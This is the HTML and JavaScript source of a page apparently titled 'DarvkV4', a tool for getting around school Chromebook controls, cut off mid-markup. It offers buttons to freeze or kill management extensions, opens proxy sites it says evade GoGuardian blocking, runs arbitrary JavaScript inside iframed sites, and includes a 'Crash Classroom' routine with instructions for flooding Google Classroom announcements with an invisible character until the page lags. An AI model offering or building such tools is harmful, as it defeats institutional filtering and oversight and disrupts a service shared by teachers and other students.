<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Darvk</title>
    <link rel="shortcut icon" type="image/png" href="https://clipart-library.com/images/rTjrbKygc.png" />
    <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Varela+Round&display=swap" />
    <style>
        body {
            font-family: "Varela Round", sans-serif;
            margin: 0;
            padding: 0;
            color: #ffffff;
            line-height: 1.6;
            position: relative;
            overflow: hidden;
            background: url("https://giffiles.alphacoders.com/483/48368.gif")
            no-repeat center center fixed;
            background-size: cover;
        }
    
        header {
            background-color: rgba(10, 17, 36, 0);
            color: #000000;
            padding: 10px;
            text-align: center;
            display: flex;
            align-items: center;
            justify-content: center;
        }
    
        header h1 {
            font-size: 24px;
        }
    
        header img.logo {
            width: 120px; /* Ensure the logo is a reasonable size */
            height: auto; /* Maintain aspect ratio */
            margin-right: 10px; /* Space between logo and title */
        }
    
        .container,
        button {
            transition: transform 0.3s ease, box-shadow 0.3s ease;
        }
    
        .container:hover,
        button:hover {
            transform: translateY(-5px);
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
        }
    
        #killButton {
            display: none;
            background-color: #e4243751;
            color: #ffffff;
            border: none;
            padding: 10px 20px;
            font-size: 16px;
            cursor: pointer;
            border-radius: 5px;
            transition: background-color 0.3s ease;
        }
    
        .logo {
            width: 120px;
            height: fit-content;
            border-radius: 59%;
            margin-right: 10px;
        }
    
        #killExtensionText {
            display: none;
            margin-top: 20px;
            color: #ffffff;
            font-size: 18px;
            text-align: center;
            background: rgba(10, 17, 36, 0);
            padding: 20px;
            border-radius: 59px;
        }
    
        .welcome-message {
            background-color: rgba(0, 0, 0, 0.7); /* Semi-transparent background */
            color: #ffffff; /* White text color */
            padding: 15px 20px; /* Padding for spacing */
            border-radius: 8px; /* Rounded corners */
            box-shadow: 0 4px 10px rgba(0, 0, 0, 0.5); /* Subtle shadow */
            position: fixed; /* Fixed position */
            top: 20px; /* Distance from the top */
            left: 50%; /* Center horizontally */
            transform: translateX(-50%); /* Center alignment */
            z-index: 1000; /* Ensure it appears above other content */
            font-size: 18px; /* Font size */
            transition: opacity 0.5s ease; /* Smooth transition for appearance */
            opacity: 0; /* Start as invisible */
        }
    
        .welcome-message.show {
            opacity: 1; /* Fully visible when shown */
        }
    
        .container {
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
            text-align: center;
            background: rgba(10, 17, 36, 0);
            border-radius: 59px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
        }
    
        button {
            background-color: #351b6054;
            color: #ffffff;
            border: none;
            cursor: pointer;
            padding: 10px 20px;
            border-radius: 5px;
            font-size: 16px;
            margin: 10px auto;
            transition: background-color 0.3s ease, transform 0.3s ease,
            box-shadow 0.3s ease;
        }

        #showCustomUrlButton {
            position: relative; /* Ensure the button stays in place */
            z-index: 1; /* Keep it above other elements */
        }
    
        button:hover {
            background-color: #0a1124;
            transform: translateY(-5px);
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
        }
    
        input[type="text"],
        input[type="password"],
        select {
            font-family: "Varela Round", sans-serif;
            margin: 10px auto;
            padding: 12px;
            font-size: 15px;
            border-radius: 5px;
            border: 1px solid rgba(10, 17, 36, 0);
            width: 100%;
            transition: border-color 0.3s ease;
        }
    
        input:focus,
        select:focus {
            border-color: #4b6b77;
            outline: none;
        }
    
        .modal {
            display: flex; /* Ensure it uses flexbox for centering */
            position: fixed; /* Fixed position to cover the entire viewport */
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(
            10,
            17,
            36,
            0.8
            ); /* Semi-transparent background */
            justify-content: center; /* Center the content */
            align-items: center; /* Center the content */
            z-index: 9999; /* Ensure it is on top of other content */
            visibility: hidden; /* Initially hidden */
            opacity: 0; /* Initially transparent */
            transition: visibility 0s, opacity 0.5s linear; /* Smooth transition */
        }
    
        .modal-content {
            padding: 30px;
            border-radius: 20px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.2);
            color: white;
            text-align: center;
        }
    
        #killButton:hover {
            background-color: #0a1124;
        }
    
        header img.logo {
            width: 50px; /* Ensure the logo is a reasonable size */
            height: auto; /* Maintain aspect ratio */
            margin-right: 10px; /* Space between logo and title */
        }
    
        .overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.8);
            display: none;
            justify-content: center;
            align-items: center;
            z-index: 9999;
            color: #ffffff;
            font-size: 24px;
            flex-direction: column;
            text-align: center;
        }
    
        html,
        body {
            height: 100%; /* Ensure the html and body take up the full height */
            margin: 0; /* Remove default margin */
            padding: 0; /* Remove default padding */
        }
        textarea {
            width: 100%;
            height: 100px;
            margin-top: 10px;
            background-color: rgba(255, 255, 255, 0.1);
            color: white;
            border: 1px solid #61dafb;
            border-radius: 5px;
        }
    
        .spinner {
            border: 6px solid rgba(0, 0, 0, 0.3);
            border-top: 6px solid #4b6b77;
            border-radius: 59%;
            width: 40px;
            height: 40px;
            animation: spin 1s linear infinite;
            margin-bottom: 20px;
        }
    
        @keyframes spin {
            0% {
            transform: rotate(0deg);
            }
            100% {
            transform: rotate(360deg);
            }
        }
    
        footer {
            background-color: rgba(10, 17, 36, 0);
            color: #ffffff;
            text-align: center;
            padding: 15px;
            position: fixed;
            bottom: 0;
            width: 100%;
        }
    
        footer a {
            color: #cbcbcb;
            text-decoration: none;
        }
    
        footer a:hover {
            text-decoration: underline;
        }
    
        .modal.show {
            visibility: visible; /* Show the modal */
            opacity: 1; /* Fully opaque */
        }
    
        #customUrlSection {
            display: none; /* Hide the custom URL section initially */
        }
    
        .background-media {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
            object-fit: cover;
        }
    </style>
</head>

<body>
    <header>
        <img src="https://clipart-library.com/images/rTjrbKygc.png" alt="Logo" class="logo" />
        <h1>DarvkV4</h1>
    </header>

    <div id="welcomeMessage" style="display: none; color: white; text-align: center; font-size: 20px"></div>

    <div class="modal" id="loginModal">
        <div class="modal-content">
            <h2>Login to Darvk</h2>
            <input type="text" id="usernameInput" placeholder="Username" />
            <input type="password" id="passwordInput" placeholder="Password" />
            <button onclick="checkLogin()">Login</button>
        </div>
    </div>

    <div class="container" id="mainContent" style="display: none">
        <p>
            DarvkV4 is an external tool made by Anonymous, it works as of January and February, 2025.
        </p>
        <input type="file" id="fileInput" style="display: none;" accept=".js,.html" />
        <label for="iframeSelect" id="labelForIframeSelect">Select extension:</label>
        <select id="iframeSelect"></select>
        <button onclick="warning();" id="hangButton" title="Freezes the selected extension.">Freeze Extension</button>
        <button onclick="openCrashPopup();" id="crashButton" title="Opens the code executor.">Code Executor</button>
        <button id="killButton" onclick="openExtensionPopup();" title="Terminate the selected extension.">Kill Extension!</button>
        <button id="tutcrash" title="This feature now works across all Chrome Versions." onclick="tutcrash()">Crash Classroom</button>
        <button id="openGoogleButton" title="Opens only 1 selected website out of the 3 (You can choose it).">Bypassed websites</button>
        <button id="openallgg" title="It opens all of the selected websites by doing it repeatedly you can stop goguardian from blocking the website.">Open all websites</button>
        <button id="openWebsiteButton" title="Run JavaScript on the chosen websites (New update allows you to run it on custom websites!)">Run JavaScript on selected sites</button>
        <button id="openNewTabButton" title="Opens Incognito mode requires DarvkV4 (stealth)." onclick="openNewTabButton()">Stealth Mode</button>

        <button id="showCustomUrlButton" title="Gives you loads of websites to choose from. (Best)">Open Custom sites</button>

        <div id="customUrlSection">
            <input type="text" id="customUrlInput" placeholder="Enter custom website URL." />
            <button id="openCustomUrlButton" title="Open the entered custom URL.">Open Custom URL</button>
            <button id="closeCustomUrlButton" title="Close the custom URL input section.">Close</button>
            <button id="openSavedCustomUrlButton" titled="Not sure.">hi</button>
        </div>
        </div>
    <div>

        <script>
            function openNewTabButton() {
                const fileName = 'DarvkV4%20(stealth%20obf).html'; // URL-encoded file name
                window.open(fileName, '_blank');
            }
        </script>

<script>
    // Variable to store the custom URL
    let savedCustomUrl = "";

    // Show the custom URL input section when the button is clicked
    document.getElementById("showCustomUrlButton").addEventListener("click", function () {
        // Prompt the user to select a website
        var choice = prompt(
            "Which website do you want to open?\n1. Anura\n2. Aluu\n3. EvilTester\n4. Incognito\n5. DogeUnblocker\n6. Custom\n7. CustomFrame"
        );

        document.getElementById("customUrlSection").style.display = "none"; // Show the custom URL section

        var proxyUrl;

        // Determine the URL based on user input
        switch (choice) {
            case "Anura":
                proxyUrl = "https://anura.pro/";
                break;
            case "Incognito":
                proxyUrl = "https://incog.works/";
                break;
            case "DogeUnblocker":
                proxyUrl = "https://desk.chillcrew.net/";
                break;
            case "Aluu":
                proxyUrl = "https://aluu.xyz/";
                break;
            case "EvilTester":
                proxyUrl = "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
                break;
            case "Custom":
            case "CustomFrame":
                var customUrl = prompt("Please enter your custom URL:");
                if (!customUrl) {
                    alert("No URL entered. Please try again.");
                    return; // Exit if no URL is provided
                }
                // Validate the custom URL (basic validation)
                if (!/^https?:\/\//i.test(customUrl)) {
                    alert("Please enter a valid URL starting with http:// or https://");
                    return; // Exit if the URL is invalid
                }
                proxyUrl = customUrl; // Use the custom URL
                savedCustomUrl = customUrl; // Save the custom URL
                break;
            default:
                alert("Invalid choice. Please select a valid option.");
                return; // Exit if the input is invalid
        }

        // Prompt for the number of times to open the website
        var times = prompt("How many times do you want to open this website?");
        times = parseInt(times);

        if (isNaN(times) || times <= 0) {
            alert("Please enter a valid number.");
            return; // Exit if the number is invalid
        }

        // Open the selected URL the specified number of times
        for (let i = 0; i < times; i++) {
            var popup = window.open("about:blank", 'newWindow' + i, 'width=800,height=600'); // Open in a new window
            if (choice !== "Custom") { // If not custom URL
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background: url('https://giffiles.alphacoders.com/483/48368.gif') no-repeat center center fixed;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
            } else { // If custom URL
                popup.location.href = proxyUrl; // Directly set the location for custom URL
            }
            popup.document.close();
        }

                // Keep the button in the same position
        this.blur(); // Remove focus from the button to prevent any default behavior
    });

        // Optionally hide the button after it's clicked
        this.style.display = "block";

    // Functionality to open custom URL (if needed)
    document.getElementById("openCustomUrlButton").addEventListener("click", function () {
        var customUrl = document.getElementById("customUrlInput").value;

        // Validate the URL
        if (!customUrl) {
            alert("Please enter a valid URL.");
            return;
        }

        // Save the custom URL for future use
        savedCustomUrl = customUrl;

        // Open the custom URL in a new window
        var popup = window.open(
            "about:blank",
            "customWindow",
            "width=800,height=600"
        );
        popup.document.write(`
            <html>
                <head>
                    <title>Loaded Website</title>
                    <style>
                        body {
                            margin: 0;
                            padding: 0 background: url('https://giffiles.alphacoders.com/483/48368.gif') no-repeat center center fixed;
                            background-size: cover;
                        }
                        #websiteFrame {
                            width: 100vw;
                            height: 100vh;
                            border: none;
                        }
                    </style>
                </head>
                <body>
                    <iframe id="websiteFrame" src="${customUrl}"></iframe>
                </body>
            </html>
        `);
        popup.document.close();

        // Add event listener to detect F11 key for fullscreen
        popup.document.addEventListener("keydown", function (event) {
            if (event.key === "F11") {
                event.preventDefault(); // Prevent the default F11 behavior
                var iframe = popup.document.getElementById("websiteFrame");
                if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                }
            }
        });

        // Hide the custom URL section and reset the input field
        document.getElementById("customUrlSection").style.display = "none";
        document.getElementById("customUrlInput").value = ""; // Clear the input field
    });

    // Functionality to close the custom URL input section
    document.getElementById("closeCustomUrlButton").addEventListener("click", function () {
        document.getElementById("customUrlSection").style.display = "none";
        document.getElementById("showCustomUrlButton").style.display = "block"; // Show the button again
        document.getElementById("customUrlInput").value = ""; // Clear the input field
    });

    // Functionality to open the saved custom URL
    document.getElementById("openSavedCustomUrlButton").addEventListener("click", function () {
        if (savedCustomUrl) {
            var times = prompt("How many times do you want to open the saved custom URL?");
            times = parseInt(times);

            if (isNaN(times) || times <= 0) {
                alert("Please enter a valid number.");
                return; // Exit if the number is invalid
            }

            // Open the saved custom URL the specified number of times in a new window
            for (let i = 0; i < times; i++) {
                var popup = window.open("about:blank", 'savedCustomWindow' + i, 'width=800,height=600'); // Open in a new window
                popup.location.href = savedCustomUrl; // Directly set the location for saved custom URL
            }
        } else {
            alert("No custom URL saved. Please enter a custom URL first.");
        }
    });
</script>

<script>
function tutcrash() {
    // Create a new window
    const newWindow = window.open("", "TextEditor", "width=400,height=300");

    // HTML content for the new window
    newWindow.document.write(`
<html>
        <head>
            <title>Crash Google Classroom</title>
            <style>
                body {
                    font-family: Arial, sans-serif;
                    padding: 20px;
                }
                #message {
                    margin-bottom: 10px;
                    font-weight: bold;
                    font-size: 18px;
                }
                #codeContent {
                    border: 1px solid #ccc;
                    padding: 15px;
                    margin-bottom: 10px;
                    font-size: 16px;
                    background-color: #f9f9f9;
                    white-space: pre-wrap; /* Preserve whitespace and line breaks */
                    overflow: auto; /* Allow scrolling if the text exceeds the height */
                    height: 200px; /* Set a fixed height for the text box */
                }
                button {
                    padding: 10px 15px;
                    font-size: 16px;
                    cursor: pointer;
                }
            </style>
        </head>
        <body>
            <div id="message">Click the copy button, then paste it into Google Classroom press announce something to the class, after doing that paste the little character after pasting the character create a new line and then create another and paste the little character into that one repeat the same process it may lag.</div>
            <div id="codeContent">⠀</div>
            <button id="copyButton">Copy Code</button>
            <script>
                document.getElementById('copyButton').onclick = function() {
                    const codeContent = document.getElementById('codeContent').innerText;
                    navigator.clipboard.writeText(codeContent).then(() => {
                        alert('Code copied to clipboard!');
                    }).catch(err => {
                        alert('Failed to copy code: ' + err);
                    });
                };
            <\/script>
        </body>
        </html>
    `);

    // Close the document to render the content
    newWindow.document.close();
}
</script>

        <script>
            document
            .getElementById("openGoogleButton")
            .addEventListener("click", function () {
                // Prompt the user to select a website
                var choice = prompt(
                "Which website do you want to open?\n1. Anura (Best)\n2. Aluu (Good)\n3. EvilTester (Worst)\n4. Incognito (Chill)\n5. DogeUnblocker (Also chill)\nPlease choose (Anura, Aluu, Incognito, DogeUnblocker, or EvilTester)"
                );
                var proxyUrl;
    
                // Determine the URL based on user input
                switch (choice) {
                case ("Anura"):
                    proxyUrl = "https://anura.pro/";
                    break;
                case ("Incognito"):
                    proxyUrl = "https://incog.works/";
                    break;
                case ("DogeUnblocker"):
                    proxyUrl = "https://desk.chillcrew.net/";
                    break;
                case ("Aluu"):
                    proxyUrl = "https://aluu.xyz/";
                    break;
                case ("EvilTester"):
                    proxyUrl =
                    "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
                    break;
                default:
                    return; // Exit the function if the input is invalid
                }
    
                // Open the selected URL in a new popup window
                var popup = window.open(
                "about:blank",
                "_blank",
                "width=800,height=600"
                );
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background: url('https://giffiles.alphacoders.com/483/48368.gif') no-repeat center center fixed;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
                popup.document.close();
    
                // Add event listener to detect F11 key for fullscreen
                popup.document.addEventListener("keydown", function (event) {
                if (event.key === "F11") {
                    event.preventDefault(); // Prevent the default F11 behavior
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                    }
                }
                });
            });
        </script>

<script>
        // Variable to store the custom URL

        // Show the custom URL input section when the button is clicked
        document.getElementById("openWebsiteButton").addEventListener("click", function () {
            // Prompt the user to select a website
            var choice = prompt(
                "Which website do you want to open?\n1. Anura\n2. Aluu\n3. EvilTester\n4. Incognito\n5. DogeUnblocker\n6. Custom\n7. CustomFrame"
            );

            document.getElementById("customUrlSection").style.display = "none"; // Hide the custom URL section

            var proxyUrl;

            // Determine the URL based on user input
            switch (choice) {
                case "Anura":
                    proxyUrl = "https://anura.pro/";
                    break;
                case "Incognito":
                    proxyUrl = "https://incog.works/";
                    break;
                case "DogeUnblocker":
                    proxyUrl = "https://desk.chillcrew.net/";
                    break;
                case "Aluu":
                    proxyUrl = "https://aluu.xyz/";
                    break;
                case "EvilTester":
                    proxyUrl = "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
                    break;
                case "Custom":
                case "CustomFrame":
                    var customUrl = prompt("Please enter your custom URL:");
                    if (!customUrl) {
                        alert("No URL entered. Please try again.");
                        return; // Exit if no URL is provided
                    }
                    // Validate the custom URL (basic validation)
                    if (!/^https?:\/\//i.test(customUrl)) {
                        alert("Please enter a valid URL starting with http:// or https://");
                        return; // Exit if the URL is invalid
                    }
                    proxyUrl = customUrl; // Use the custom URL
                    savedCustomUrl = customUrl; // Save the custom URL
                    break;
                default:
                    alert("Invalid choice. Please select a valid option.");
                    return; // Exit if the input is invalid
            }

            // Prompt for the number of times to open the website
            var times = prompt("How many times do you want to open this website?");
            times = parseInt(times);

            if (isNaN(times) || times <= 0) {
                alert("Please enter a valid number.");
                return; // Exit if the number is invalid
            }

            // Open the selected URL the specified number of times
            for (let i = 0; i < times; i++) {
                var popup = window.open("about:blank", 'newWindow' + i, 'width=800,height=600'); // Open in a new window
                if (choice !== "Custom") { // If not custom URL
                    popup.document.write(`
                        <html>
                            <head>
                                <title>Loaded Website</title>
                                <style>
                                    body {
                                        background: url('https://giffiles.alphacoders.com/483/48368.gif') no-repeat center center fixed;
                                        background-size: cover;
                                        color: white;
                                        font-family: 'Arial', sans-serif;
                                    }
                                    #websiteFrame {
                                        width: 100%;
                                        height: 90%;
                                        border: none;
                                    }
                                    textarea {
                                        width: 100%;
                                        height: 100px;
                                        margin-top: 10px;
                                        background-color: rgba(255, 255, 255, 0.1);
                                        color: white;
                                        border: 1px solid #61dafb;
                                        border-radius: 5px;
                                    }
                                    button {
                                        background-color: #351b6054;
                                        color: #ffffff;
                                        border: none;
                                        cursor: pointer;
                                        padding: 10px 20px;
                                        border-radius: 5px;
                                        font-size: 16px;
                                        margin: 10px auto;
                                        transition: background-color 0.3s ease, transform 0.3s ease, box-shadow 0.3s ease;
                                    }
                                    button:hover {
                                        background-color: #0a1124;
                                        transform: translateY(-5px);
                                        box-shadow: 0 8px 20px rgba(0, 0, 0, 0.3);
                                    }
                                </style>
                            </head>
                            <body>
                                <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                                <textarea id="jsInput" placeholder="Enter JavaScript code here..."></textarea>
                                <button id="executeJsButton">Execute JavaScript</button>
                                <button id="fullscreenButton">Toggle Fullscreen</button>
                                <script>
                                    document.getElementById("executeJsButton").addEventListener("click", function () {
                                        const jsCode = document.getElementById("jsInput").value;
                                        const iframe = document.getElementById("websiteFrame");
                                        const iframeWindow = iframe.contentWindow || iframe.contentDocument.defaultView;
                                        try {
                                            iframeWindow.eval(jsCode);
                                        } catch (e) {
                                            alert("Error executing JavaScript: " + e.message);
                                        }
                                    });

                                    document.getElementById("fullscreenButton").addEventListener("click", function () {
                                        const iframe = document.getElementById("websiteFrame");
                                        if (iframe.requestFullscreen) {
                                            iframe.requestFullscreen();
                                        } else if (iframe.mozRequestFullScreen) { // Firefox
                                            iframe.mozRequestFullScreen();
                                        } else if (iframe.webkitRequestFullscreen) { // Chrome, Safari and Opera
                                            iframe.webkitRequestFullscreen();
                                        } else if (iframe.msRequestFullscreen) { // IE/Edge
                                            iframe.msRequest Fullscreen();
                                        }
                                    });

                                    // Add event listener to detect F11 key for fullscreen
                                    document.addEventListener("keydown", function (event) {
                                        if (event.key === "F11") {
                                            event.preventDefault(); // Prevent the default F11 behavior
                                            const iframe = document.getElementById("websiteFrame");
                                            if (iframe.requestFullscreen) {
                                                iframe.requestFullscreen();
                                            } else if (iframe.mozRequestFullScreen) {
                                                iframe.mozRequestFullScreen();
                                            } else if (iframe.webkitRequestFullscreen) {
                                                iframe.webkitRequestFullscreen();
                                            } else if (iframe.msRequestFullscreen) {
                                                iframe.msRequestFullscreen();
                                            }
                                        }
                                    });
                                <\/script>
                            </body>
                        </html>
                    `);
                } else { // If custom URL
                    popup.location.href = proxyUrl; // Directly set the location for custom URL
                }
                popup.document.close();
            }

            // Keep the button in the same position
            this.blur(); // Remove focus from the button to prevent any default behavior
        });

        // Optionally hide the button after it's clicked
        this.style.display = "block";

        // Functionality to open custom URL (if needed)
        document.getElementById("openCustomUrlButton").addEventListener("click", function () {
            var customUrl = document.getElementById("customUrlInput").value;

            // Validate the URL
            if (!customUrl) {
                alert("Please enter a valid URL.");
                return;
            }

            // Save the custom URL for future use
            savedCustomUrl = customUrl;

            // Open the custom URL in a new window
            var popup = window.open(
                "about:blank",
                "customWindow",
                "width=800,height=600"
            );
            popup.document.write(`
                <html>
                    <head>
                        <title>Loaded Website</title>
                        <style>
                            body {
                                margin: 0;
                                padding: 0;
                                background: url('https://giffiles.alphacoders.com/483/48368.gif') no-repeat center center fixed;
                                background-size: cover;
                            }
                            #websiteFrame {
                                width: 100vw;
                                height: 100vh;
                                border: none;
                            }
                        </style>
                    </head>
                    <body>
                        <iframe id="websiteFrame" src="${customUrl}"></iframe>
                        <button id="fullscreenButton">Toggle Fullscreen</button>
                        <script>
                            document.getElementById("fullscreenButton").addEventListener("click", function () {
                                const iframe = document.getElementById("websiteFrame");
                                if (iframe.requestFullscreen) {
                                    iframe.requestFullscreen();
                                } else if (iframe.mozRequestFullScreen) { // Firefox
                                    iframe.mozRequestFullScreen();
                                } else if (iframe.webkitRequestFullscreen) { // Chrome, Safari and Opera
                                    iframe.webkitRequestFullscreen();
                                } else if (iframe.msRequestFullscreen) { // IE/Edge
                                    iframe.msRequestFullscreen();
                                }
                            });

                            // Add event listener to detect F11 key for fullscreen
                            document.addEventListener("keydown", function (event) {
                                if (event.key === "F11") {
                                    event.preventDefault(); // Prevent the default F11 behavior
                                    const iframe = document.getElementById("websiteFrame");
                                    if (iframe.requestFullscreen) {
                                        iframe.requestFullscreen();
                                    } else if (iframe.mozRequestFullScreen) {
                                        iframe.mozRequestFullScreen();
                                    } else if (iframe.webkitRequestFullscreen) {
                                        iframe.webkitRequestFullscreen();
                                    } else if (iframe.msRequestFullscreen) {
                                        iframe.msRequestFullscreen();
                                    }
                                }
                            });
                        <\/script>
                    </body>
                </html>
            `);
            popup.document.close();

            // Hide the custom URL section and reset the input field
            document.getElementById("customUrlSection").style.display = "none";
            document.getElementById("customUrlInput").value = ""; // Clear the input field
        });

        // Functionality to close the custom URL input section
        document.getElementById("closeCustomUrlButton").addEventListener("click", function () {
            document.getElementById("customUrlSection").style.display = "none";
            document.getElementById("showCustomUrlButton").style.display = "block"; // Show the button again
            document.getElementById("customUrlInput").value = ""; // Clear the input field
        });

        // Functionality to open the saved custom URL
        document.getElementById("openSavedCustomUrlButton").addEventListener("click", function () {
            if (savedCustomUrl) {
                var times = prompt("How many times do you want to open the saved custom URL?");
                times = parseInt(times);

                if (isNaN(times) || times <= 0) {
                    alert("Please enter a valid number.");
                    return; // Exit if the number is invalid
                }

                // Open the saved custom URL the specified number of times in a new window
                for (let i = 0; i < times; i++) {
                    var popup = window.open("about:blank", 'savedCustomWindow' + i, 'width=800,height=600'); // Open in a new window
                    popup.location.href = savedCustomUrl; // Directly set the location for saved custom URL
                }
            } else {
                alert("No custom URL saved. Please enter a custom URL first.");
            }
        });
    

            document
            .getElementById("openallgg")
            .addEventListener("click", function () {
                // Prompt the user to select a website
                proxyUrl =
                "https://eviltester.github.io/TestingApp/apps/iframe-search/iframe-search.html";
                var popup = window.open(
                "about:blank",
                "_blank",
                "width=800,height=600"
                );
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
                popup.document.close();
    
                // Add event listener to detect F11 key for fullscreen
                popup.document.addEventListener("keydown", function (event) {
                if (event.key === "F11") {
                    event.preventDefault(); // Prevent the default F11 behavior
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                    }
                }
                });
            });
    
            document
            .getElementById("openallgg")
            .addEventListener("click", function () {
                // Prompt the user to select a website
                proxyUrl = "https://aluu.xyz/";
                var popup = window.open(
                "about:blank",
                "_blank",
                "width=800,height=600"
                );
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
                popup.document.close();
    
                // Add event listener to detect F11 key for fullscreen
                popup.document.addEventListener("keydown", function (event) {
                if (event.key === "F11") {
                    event.preventDefault(); // Prevent the default F11 behavior
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                    }
                }
                });
            });
    
            document
            .getElementById("openallgg")
            .addEventListener("click", function () {
                // Prompt the user to select a website
                proxyUrl = "https://anura.pro/";
                var popup = window.open(
                "about:blank",
                "_blank",
                "width=800,height=600"
                );
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
                popup.document.close();
    
                // Add event listener to detect F11 key for fullscreen
                popup.document.addEventListener("keydown", function (event) {
                if (event.key === "F11") {
                    event.preventDefault(); // Prevent the default F11 behavior
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                    }
                }
                });
            });

            document
            .getElementById("openallgg")
            .addEventListener("click", function () {
                // Prompt the user to select a website
                proxyUrl =
                "https://incog.works/";
                var popup = window.open(
                "about:blank",
                "_blank",
                "width=800,height=600"
                );
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background-size: cover;
                                }
                                #websiteFrame {
                                    width: 100vw;
                                    height: 100vh;
                                    border: none;
                                }
                            </style>
                        </head>
                        <body>
                            <iframe id="websiteFrame" src="${proxyUrl}"></iframe>
                        </body>
                    </html>
                `);
                popup.document.close();
    
                // Add event listener to detect F11 key for fullscreen
                popup.document.addEventListener("keydown", function (event) {
                if (event.key === "F11") {
                    event.preventDefault(); // Prevent the default F11 behavior
                    var iframe = popup.document.getElementById("websiteFrame");
                    if (iframe.requestFullscreen) {
                    iframe.requestFullscreen();
                    } else if (iframe.mozRequestFullScreen) {
                    // Firefox
                    iframe.mozRequestFullScreen();
                    } else if (iframe.webkitRequestFullscreen) {
                    // Chrome, Safari and Opera
                    iframe.webkitRequestFullscreen();
                    } else if (iframe.msRequestFullscreen) {
                    // IE/Edge
                    iframe.msRequestFullscreen();
                    }
                }
                });
            });
    
            document
            .getElementById("openallgg")
            .addEventListener("click", function () {
                // Prompt the user to select a website
                proxyUrl =
                "https://desk.chillcrew.net/";
                var popup = window.open(
                "about:blank",
                "_blank",
                "width=800,height=600"
                );
                popup.document.write(`
                    <html>
                        <head>
                            <title>Loaded Website</title>
                            <style>
                                body {
                                    margin: 0;
                                    padding: 0;
                                    background-size: cover;
                                }
                                #websiteFrame {
